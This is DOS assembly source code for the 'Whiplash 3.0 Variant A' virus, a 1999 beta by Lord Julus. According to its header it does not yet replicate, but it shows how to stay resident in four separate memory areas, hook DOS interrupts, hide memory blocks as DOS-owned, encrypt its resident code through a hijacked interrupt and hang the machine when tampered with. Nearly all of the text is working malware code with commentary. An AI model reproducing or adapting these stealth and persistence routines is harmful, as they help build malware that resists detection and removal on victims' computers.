; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Following you have the original article, spell checked, arranged ³ ; ³ and... with God's help, bug checked... ³ ; ³ ³ ; ³ Lord Julus - Feb. 1999 ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ú ù - = ð L O R D J U L U S ð = - ù ú ; ; P ú R ú O ú U ú D ú L ú Y ; ; p r e s e n t s ; ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛðÛÛÛÛÛÛÛðÛðÛÛÛÛðÛðÛðððððÛðÛÛÛÛÛÛððððÛÛÛðððððÛðÛÛÛÛðÛ ; ÛðÛÛÛÛÛÛÛðÛðÛÛÛÛðÛðÛðÛÛÛðÛðÛÛÛÛÛðÛÛÛÛðÛðÛÛÛÛÛÛðÛÛÛÛðÛ ; ÛðÛÛÛÛÛÛÛðÛððððððÛðÛðððððÛðÛÛÛÛÛððððððÛÛððððÛÛððððððÛ ; ÛÛðÛÛðÛÛðÛÛðÛÛÛÛðÛðÛðÛÛÛÛÛðÛÛÛÛÛðÛÛÛÛðÛÛÛÛÛÛðÛðÛÛÛÛðÛ ; ÛÛÛðÛÛÛðÛÛÛðÛÛÛÛðÛðÛðÛÛÛÛÛðððððÛðÛÛÛÛðÛðððððÛÛðÛÛÛÛðÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛOOOOOOOÛÛÛÛÛOOOOOOÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛOOÛÛÛOÛÛÛÛÛÛOÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛOOOOÛÛÛÛÛOÛÛÛÛÛÛOÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛOOÛÛÛOÛÛÛÛÛÛOÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛOOOOOOOÛÛoÛÛOOOOOOÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛLORD JULUS '98ÛÛÛÛÛÛÛÛÛÛ ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; ; ; Hello everybody ! ; ; Yes, this is yet another release of the Whiplash serie and the ; name of this one is Whiplash 3.0 Variant A. It's still variant ; A because it's still only an EXE/COM infector. What is really ; interesting about this virus, well..., you'll find in the ; following words: ; ; INT 77 points to the cipher/decipher routine for memory ; INT 78 points to the traced INT 21h ; ; ....... ;-) ; ; BETA TEST. Does not include: ; ; - replication of any kind ; - general decryptor/encryptor ; - tunneling of anykind ; ; + for now it's just a demonstration of going resident ; in 4 different areas and being almost impossible to ; remove, or get an image of it. ; If you made it, drop me a line at: ; lordjulus@geocities.com ; ; ; Dunno where did you get this from, but I hope I ; don't have to say I'd hate to see the below code ; running wild in other viruses... ;-) ; ; ; ; Assemble with TASM /m3 /o whip3_6.asm (TASM 3.2) ; TLINK /x whip3_6 (TLINK 5.1) .286 .model tiny .code .radix 16 jumps org 0000 ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Start of memory AREA 2³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ second_mem_area_start: start: call get_bp ; the usual thingie dw 156h, 1236h, 223h ; just crap... get_bp: pop dx ; a nice way to mov ax, offset get_bp ; get the DELTA sub ax, 6 sub dx, ax xchg dx, bp jmp over_data ; ÚÄÄÄÄÄÄÄÄÄ¿ ; ³DATA AREA³ ; ÀÄÄÄÄÄÄÄÄÄÙ ; residency variables virlen = ENDING - START ; virus length ; Virus length virus_size = ((2*virlen+50+15)+256)/16 ; memory needed for virus M_strategy Dw 0 ; Memory strategy Umb_strategy Db 0 ; Upper Memory Block strategy Xms_offset Dw 0 ; Offset for XMS manager Xms_segment Dw 0 ; Segment for XMS manager A_s Db 0 ; Current status of allocation Oldpsp Dw 0 ; My PSP ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³This is the memory AREA 1 (variables) from 0000:0550 to 0000:056E ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ first_mem_area_start: s2 dw 0 ;0:0550 ; segment for AREA 2 s3 dw 0 ;0:0552 ; segment for AREA 3 s4 dw 0 ;0:0554 ; segment for AREA 4 oldint21 dd 0 ;0:0556 ; far pointer to oldint21 oldint2f dd 0 ;0:055a ; far pointer to oldint2f oldint08 dd 0 ;0:055e ; far pointer to oldint08 timer dw 0 ;0:0562 ; int 08 timer active dw 0 ;0:0564 ; active var. exec_files dw 0 ;0:0566 ; executed files vir_ver dw 0 ;0:0568 ; virus version whereami db 0 ;0:056a ; active AREA ok db 0 ;0:056b ; all ok ? chksum dw 0 ;0:056c ; chcksum chk_act db 0 ;0:056e ; checksum active ? first_mem_area_end: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³End of memory AREA 1³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; The Virus Marker Virus db 'Whiplash V3.0 Variant A' db 'Written and compiled in Bucharest, Romania' db 'by Lord Julus' db 'Beta Test - unfunctionable yet' ; Virus Data over_data: pusha push ds es di si bp ; here I save initial registers call trace_ints ; trace interrupts mov cs:[bp + timer], 0 ; set timer to 0 for now mov cs:[bp + active], 0 ; set virus to inactive mov cs:[bp + exec_files], 0 ; set executed files to 0 mov cs:[bp + vir_ver], 0FEFFh ; virus version = FEFE or ver or var mov cs:[bp + whereami], 2 ; i am in AREA 2 mov cs:[bp + ok], 1 ; all ok now... mov cs:[bp + chksum], 0 ; set checksum to 0 mov cs:[bp + chk_act], 0 ; checksum is not active MOV BX, 2 call getmem ; i get the first UMB block jc exit_error ; if available, of course mov word ptr cs:[bp+s2], ax ; and save the segment MOV BX, 3 MOV AX, BX call getmem ; here i get the first conv. block jc exit_error mov word ptr cs:[bp+s3], ax ; and save the segment MOV BX, 4 MOV AX, BX call getmem ; here i get another conventional jc exit_error ; memory block mov word ptr cs:[bp+s4], ax ; and save it... call get_vectors ; getting old vectors now... call move_virus ; now we move virus parts... mov ax, cs:[bp+s2] ; and we simulate a JMP just mov word ptr cs:[jump+3], ax ; to jump in the new UMB segment lea ax, new_segment ; (AREA 2) and continue there with mov word ptr cs:[jump+1], ax ; no delta handle bullshit ! jump db 0EAh ; This is a JMP FAR AREA2:NEW_SEGMENT dw 0,0 new_segment: ; here we go on with our code exit_ok: call set_links ; set the links between areas call hook_vectors ; and now hook the vectors call cipher_memory ; cipher the memory ; call decipher_memory call calculate_checksum ; compute checksum xor bx, bx mov ds, bx mov word ptr ds:[056ch], ax ; save checksum mov byte ptr ds:[056eh], 1 ; and set check for checksum active mov ax, 4C00h ; and get out OK int 21h exit_error: mov ax, 4CFFh ; this is a forced Exit due to a int 21h ; memmory allocation error ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here I cipher all memory areas with different random keys and methods³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ cipher_memory: call randomize ; first initialize the generator push cs pop ds call get_the_randoms ; get method and key push bx mov word ptr ds:[method1], bx ; and save them to be able to decipher push cx mov word ptr ds:[key1], cx push (first_cipher_area_end - first_cipher_area_start)/2 ; length push offset first_cipher_area_start ; start INT 077h ; cipher ! Check the procedure for ; a better understanding (INT 77h ; points to the cipher routine) ; and from here we do the same thing for the rest of the zones call get_the_randoms push bx mov word ptr ds:[method2], bx push cx mov word ptr ds:[key2], cx push (second_cipher_area_end - second_cipher_area_start)/2 push offset second_cipher_area_start int 077h call get_the_randoms push bx mov word ptr ds:[method3], bx push cx mov word ptr ds:[key3], cx push (third_cipher_area_end - third_cipher_area_start)/2 push offset third_cipher_area_start int 077h call get_the_randoms push bx mov word ptr ds:[method4], bx push cx mov word ptr ds:[key4], cx push (fourth_cipher_area_end - fourth_cipher_area_start)/2 push offset fourth_cipher_area_start int 077h push 0101h ; in this little part push 0ABBAh ; here we encrypt parts push (first_mem_area_start - start)/2 ; of the memory that we push offset start ; do not need to be active int 077h ; and which could 'look' ; as a virus if someone push 0101h ; debugs the segment INT 21 push 0BAABh ; is in. push (first_mem_area_start - start)/2 ; push offset start ; int 077h ; ret get_the_randoms: ; this gets the method and call _random ; the key mov cx, 3 call modulo ; method may be 1,2,3 inc ax mov bx, ax mov bh, 1 ; 1 is for cipher xchg bh, bl call _random mov cx, ax ; this is the key ret ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here I decipher all the memory areas with the saved keys and methods³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ decipher_memory: push cs pop ds ;this goes exactly like te cipher_memory routine, but it decipheres ;it using the saved keys. mov bx, word ptr ds:[method1] mov bl, 2 push bx push ds:[key1] push (first_cipher_area_end - first_cipher_area_start)/2 push offset first_cipher_area_start int 077h mov bx, word ptr ds:[method2] mov bl, 2 push bx push ds:[key2] push (second_cipher_area_end - second_cipher_area_start)/2 push offset second_cipher_area_start int 077h mov bx, word ptr ds:[method3] mov bl, 2 push bx push ds:[key3] push (third_cipher_area_end - third_cipher_area_start)/2 push offset third_cipher_area_start int 077h mov bx, word ptr ds:[method4] mov bl, 2 push bx push ds:[key4] push (fourth_cipher_area_end - fourth_cipher_area_start)/2 push offset fourth_cipher_area_start int 077h push 0102h push 0ABBAh push (first_mem_area_start - start)/2 push offset start int 077h push 0102h push 0BAABh push (first_mem_area_start - start)/2 push offset start int 077h ret ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here I compute the checksum for the different areas³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ calculate_checksum: ; this is the place where we push bx cx dx ; checksum the AREAS push ds mov bx, 0 ; BX will hold the checksum mov ax, word ptr cs:[s2] ; first AREA2 mov ds, ax mov cx, (second_mem_area_cipher_end - over_data)/2 ; length lea si, over_data ; and start sum_loop2: xor bx, word ptr ds:[si] ; a XOR algorithm inc si inc si loop sum_loop2 neg bx ; and a negation for fun mov ax, word ptr cs:[s3] ; then AREA 3 mov ds, ax mov cx, (third_mem_area_end - third_mem_area_start)/2 ; length mov si, 0 ; start sum_loop3: sub bx, word ptr ds:[si] ; a SUB algorithm inc si inc si loop sum_loop3 not bx ; and a NOT for joy mov ax, word ptr cs:[s4] ; the AREA 4 mov ds, ax mov cx, (fourth_mem_area_end - fourth_mem_area_start)/2 ; length mov si, 0 ; start sum_loop4: add bx, word ptr ds:[si] ; an ADD algorithm inc si inc si loop sum_loop4 neg bx ; and a NEG for ;-) xor ax, ax mov ds, ax add bx, word ptr ds:[0550h] ; then we use the saved sub bx, word ptr ds:[0552h] ; segments of the 3 areas xor bx, word ptr ds:[0554h] ; and mangle them with BX mov ax, bx ; AX will return the ; checksum pop ds pop dx cx bx ret first_cipher_area_start: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here we move parts of our virus to the different areas³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ MOVE_VIRUS: cli cld xor ax, ax ; move to mov es, ax ; AREA 1 push cs ; pop ds ; mov si, offset first_mem_area_start ; mov di, 0550h ; mov cx, first_mem_area_end - first_mem_area_start ; rep movsb ; mov ax, word ptr cs:[s2] ; then we move mov es, ax ; to AREA 2 mov si, offset second_mem_area_start ; mov di, 0 ; mov cx, second_mem_area_end - second_mem_area_start; rep movsb ; mov ax, word ptr cs:[s3] ; then we move mov es, ax ; to AREA 3 mov si, offset third_mem_area_start ; mov di, 0 ; mov cx, third_mem_area_end - third_mem_area_start ; rep movsb ; mov ax, word ptr cs:[s4] ; then we move mov es, ax ; to AREA 4 mov si, offset fourth_mem_area_start ; mov di, 0 ; mov cx, fourth_mem_area_end - fourth_mem_area_start; rep movsb ; ret first_cipher_area_end: method1 dw 0 key1 dw 0 second_cipher_area_start: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Set up the links between memory AREAS³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ SET_LINKS: ; this actually creates a set of FAR CALLS between AREA 2, 3 and 4 ; which goes forth and back. mov ax, cs:[s2] mov di, ax ; di = second AREA segment mov si, offset check_point_start ; si = start point 1 offset mov ax, cs:[s3] ; ax = third area segment mov bx, offset check_point1 ; after aligning sub bx, offset third_mem_area_start ; bx = offset mov ds, di mov word ptr ds:[si+1], bx ; create the CALL mov word ptr ds:[si+3], ax mov ax, cs:[s3] mov di, ax ; di = second AREA segment mov si, offset check_point1 ; si = start point 1 ofs sub si, offset third_mem_area_start ; align mov ax, cs:[s3] ; ax = third area segment mov bx, offset check_point2 ; after aligning sub bx, offset third_mem_area_start ; bx = offset mov ds, di mov word ptr ds:[si+1], bx ; create the CALL mov word ptr ds:[si+3], ax mov ax, cs:[s3] mov di, ax ; di = second AREA segment mov si, offset check_point2 ; si = start point 1 ofs sub si, offset third_mem_area_start ; align mov ax, cs:[s4] ; ax = third area segment mov bx, offset check_point3 ; after aligning sub bx, offset fourth_mem_area_start ; bx = offset mov ds, di mov word ptr ds:[si+1], bx ; create the CALL mov word ptr ds:[si+3], ax ret second_cipher_area_end: method2 dw 0 key2 dw 0 third_cipher_area_start: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here we get all the vectors we need³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ GET_VECTORS: xor ax, ax mov ds, ax push cs pop es mov si, 08h*4 mov di, offset int08exit inc di add di, bp movsw movsw mov si, 21h*4 mov di, offset int21exit inc di add di, bp movsw movsw mov si, 2Fh*4 mov di, offset int2Fexit inc di add di, bp movsw movsw mov ax, word ptr ds:[21h*4] mov word ptr cs:[oldint21], ax mov ax, word ptr ds:[2fh*4] mov word ptr cs:[oldint2f], ax mov ax, word ptr ds:[08h*4] mov word ptr cs:[oldint08], ax mov ax, word ptr ds:[21h*4+2] mov word ptr cs:[oldint21+2], ax mov ax, word ptr ds:[2fh*4+2] mov word ptr cs:[oldint2f+2], ax mov ax, word ptr ds:[08h*4+2] mov word ptr cs:[oldint08+2], ax ret third_cipher_area_end: method3 dw 0 key3 dw 0 fourth_cipher_area_start: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Here we hook all the vectors we need³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ HOOK_VECTORS: cli xor ax, ax mov ds, ax lea ax, newint21 mov word ptr ds:[21h*4], ax push cs pop ax mov word ptr ds:[21h*4+2], ax lea ax, newint08 sub ax, offset third_mem_area_start mov word ptr ds:[08h*4], ax mov ax, cs:[s3] mov word ptr ds:[08h*4+2], ax lea ax, newint2f sub ax, offset fourth_mem_area_start mov word ptr ds:[2fh*4], ax mov ax, cs:[s4] mov word ptr ds:[2fh*4+2], ax lea ax, cipher sub ax, offset fourth_mem_area_start mov word ptr ds:[077h*4], ax mov ax, cs:[s4] mov word ptr ds:[077h*4+2], ax sti ret fourth_cipher_area_end: method4 dw 0 key4 dw 0 ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Start of the third memory AREA³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ third_mem_area_start: ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; ºthe int 21 handlerº ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ time_passed dw 0 newint21: pushf pusha push ds es si di bp xchg ah, bh xor bh, 14h cmp bh, 4bh xor 14h je file_execution check_point_start: db 9Ah ; this is a CALL FAR xxxx:yyyy dw 0 dw 0 jmp over_this1 check_point1: db 9Ah ; CALL FAR check_point2 dw 0 dw 0 retf over_this1: xor bx, bx ; on each INT 21 call we look and mov ds, bx ; see if we must check the checksum cmp byte ptr ds:[056eh], 0 ; and if so... je over_this call calculate_checksum ; we calculate it cmp ax, word ptr ds:[056ch] ; and compare it with the saved one je over_this mov cx, 10 ; if they are not equal foreverloop: ; we hang !! inc cx loop foreverloop over_this: ; sahf ; pushf ; pop bx ; or bl, 00001000b ; xor bl, 77h ; cmp bl, 4bh xor 77h ; this is just for the looks ;-) return_to_innocence: not_active: pop bp di si es ds popa popf int21exit: ; a jump to INT 21 in chain db 0EAh dw 0,0 endint21: ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; ºthe int 08 handlerº ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ newint08: pusha push ds jmp over_this3 check_point2: db 9Ah ; CALL FAR check_point3 dw 0 dw 0 retf over_this3: xor bx, bx ; now it's a nice part... mov ds, bx cmp byte ptr ds:[056eh], 00h ; is the checksum check active jne its_active ; if yes,... ok... inc word ptr ds:[0562h] ; if not, increment timer mov cx, 0222h ; mov ax, word ptr ds:[0562h] ; cmp ax, cx ; if 15 seconds passed since the jne over_this2 ; check for checksum was turned off mov cx, 010 ; we hang again !! repeat: inc cx loop repeat its_active: mov word ptr ds:[0562h], 0 ; if it's on, we reset the timer to 0 over_this2: pop ds popa int08exit: ; go to original INT 08 db 0EAh dw 0,0 endint08: third_mem_area_end: ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³End of the third memory AREA³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Start of the fourth memory AREA³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ fourth_mem_area_start: ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; ºthe int 2F handlerº ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ newint2F: jmp over_this4 check_point3: retf over_this4: int2Fexit: db 0EAh dw 0,0 endint2F: Cipher: ; Values on entry (words pushed in this order): ; - method (High byte = 1-XOR / 2-ROR / 3-ADD) ; (Lower byte = 1-cipher / 2-decipher) ; - key ; - length of code (in words !! e.g. bytes/2) ; - start of code to cipher/decipher ; - DS = segment of the code to decipher ;push bp mov bp, sp mov ax, word ptr ss:[bp+0Ch] mov dx, word ptr ss:[bp+0Ah] mov cx, word ptr ss:[bp+08h] mov bx, word ptr ss:[bp+06h] cli cipher_loop: cmp ah, 1 je xor_routine cmp ah, 2 je ror_routine jmp add_routine xor_routine: xor word ptr ds:[bx], dx jmp loop_again ror_routine: push cx mov cl, dl cmp al, 1 je cipher_ror rol word ptr ds:[bx], cl pop cx jmp loop_again cipher_ror: ror word ptr ds:[bx], cl pop cx jmp loop_again add_routine: cmp al, 1 je cipher_add sub word ptr ds:[bx], dx jmp loop_again cipher_add: add word ptr ds:[bx], dx jmp loop_again loop_again: inc bx inc bx loop cipher_loop sti retf 0Ah ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³The Random Number Generator³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Rand_seed Dw 0 RANDOMIZE: ; procedure to start the Push cx dx ; random generator Xor ah,ah ; get timer count Int 1Ah Mov cs:[Rand_seed],dx ; and save it Xchg ch,cl Add cs:[Rand_seed_2],cx Pop dx cx Ret _RANDOM: ; the random number generator In al,40h ; timer, for random nr Sub ax,cs:[Rand_seed] Db 35h ; XOR AX, Rand_seed_2 Dw 0 ; what is here Inc ax Add cs:[Rand_seed],ax ; change seed Ret MODULO: ; the modulo procedure ax = ax mod cx Push DX Xor DX, DX Div CX Xchg AX, DX Pop DX Ret fourth_mem_area_end: ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Û The 'Go Resident' routines Û ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ GETMEM: push bx cx dx Push es ds di si ; again save some registers Mov cs:[bp+Oldpsp], ds ; save my PSP Xor ax, ax Mov ds, ax ; First get all the Mov di, ds:[0413h] ; RAM available in kB and Shl di, 6 ; convert it into paragraphs Mov Byte Ptr cs:[bp+A_s], 0 ; set flag to NONE CMP BX, 2 JE WE_NEED_AREA_2 JMP WE_NEED_AREA_3_OR_4 WE_NEED_AREA_2: Mov ax, 5800h ; Get the Memory strategy Int 21h ; and save it Mov Word Ptr cs:[bp+M_strategy],ax ; for later Mov ax, 5802h ; Chain UMBs Int 21h ; Mov Byte Ptr cs:[bp+Umb_strategy],al ; and save Umb_strategy ; Set New MCB Alloc. strategy Mov ax, 5801h ; 80h = First fit Mov bx, 81h ; 81h = Best fit (used here !) Int 21h ; 82h = Last Fit Mov ax, 5803h ; Set new UMB Link State Mov bx, 1 ; and rechain UMBs Int 21h ; Jc REQUEST_XMS_MEM ; and now request XMS Mov es, cs:[bp+Oldpsp] ; Restore PSP and expand MCB Mov ah, 4Ah ; to maximum obtaining the total Mov bx, 0FFFFh ; available memory Int 21h Sub bx, virus_size + 1 ; Make MCB smaller Mov ah, 4Ah ; I just shrink to what I need Int 21h ; (substract virus_size + 1) Mov bx, virus_size ; Allocate memory for virus Mov ah, 48h Int 21h Mov es, ax ; ES = new virus segment Jc REQUEST_XMS_MEM ; request XMS Cmp ax, di ; DI = conventional RAM Jae UMB_DONE ; jump if greater (all ok!!) REQUEST_XMS_MEM: ; Takes UMB for the virus Mov ax, 4300h ; Checks if any XMS manager Int 2Fh ; is installed Cmp al, 80h ; 80h=Yes Jne NO_XMS ; otherwise go away ! Mov ax, 4310h ; Find Himem-EntryPoint (ES:BX) Int 2Fh ; and save it Mov cs:[bp+Xms_offset ], bx Mov cs:[bp+Xms_segment], es Mov ah, 10h ; Call Himem and check if Mov dx, 0FFFFh ; there exist a free XMS block Call Dword Ptr cs:[bp+Xms_offset] ; if BL = 0B0h then it's ok Cmp bl, 0B0h ; otherwise Jnz NO_XMS ; we have no free XMS block Mov ah, 10h Call Dword Ptr cs:[bp+Xms_offset] ; Call to see if XMS is free Or ax, ax ; AX = 0 means 'Not free' Jz NO_XMS ; AX = 1 means 'Free' Mov es, bx ; ES = BX = Segment of Blocks UMB_DONE: Mov Byte Ptr cs:[bp+A_s], 1 ; Mark UMB allocated Mov ax, es ; Marks virus as being owned Dec ax ; by the Operating System Mov ds, ax Xor si, si Mov Word Ptr ds:[si+1], 8 ; Mark as DOS's Mov ax, cs:[bp+Oldpsp] ; Restore MCB into DS Dec ax Push ax Cmp Byte Ptr ds:[si], 'Z' ; Is the virus the last MCB ? Pop ds ; Restore MCB Jnz LAST_MCB ; Jump if it's the last ! Mov Byte Ptr ds:[si], 'Z' ; Mark it as last otherwise Jmp Short DONEMCB ; and end process LAST_MCB: Mov ax, ds:[3] ; Get memory from the last MCB ! Add ax, virus_size + 1 ; by increasing with virus_size Mov ds:[3], ax ; and marking it DONEMCB: NO_XMS: Mov bx, Word Ptr cs:[bp+M_strategy] ; Now restore mem. allocation Mov ax, 5801h ; strategy Int 21h ; Mov bl, Byte Ptr cs:[bp+Umb_strategy]; And the UMB link status Mov bh, 0 ; as previously saved Mov ax, 5803h Int 21h WE_NEED_AREA_3_OR_4: Cmp Byte Ptr cs:[bp+A_s], 1 ; check if UMB is allocated Jz UMB_ALLOCATED ; and go away if so ! Mov ds, cs:[bp+Oldpsp] ; If not, get old PSP Push ds ; Pop es ; Mov ah, 4Ah ; and expand MCB to maximum Mov bx, -1 Int 21h ; BX=FFFFh -> Expand MCB Xor si, si ; and use the old way CMP AX, 3 JNE AREA4 MOV AX, (THIRD_MEM_AREA_END - THIRD_MEM_AREA_START + 15) JMP ALLOC_CONV AREA4: MOV AX, (FOURTH_MEM_AREA_END - FOURTH_MEM_AREA_START + 15) ALLOC_CONV: ; here we allocate conv. mem Sub ds:[si+2], ax ; the proper size for the Sub bx, ax ; resident part Mov ah, 4Ah Int 21h Mov ax, ds ; DS=PSP Add ax, bx ; BX=MCB for Virus Mov es, ax Mov Word Ptr es:[1], -1 Inc ax ; AX = PSP for virus Mov es, ax ; ES = PSP for virus Mov ax, ds ; Mark the current MCB as last Dec ax ; in the MCB-Chain Mov ds, ax Mov Byte Ptr ds:[si], 'Z' UMB_ALLOCATED: mov ax, es ; save the new segment area Pop si di ds es ; Restore registers pop dx cx bx ret ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ 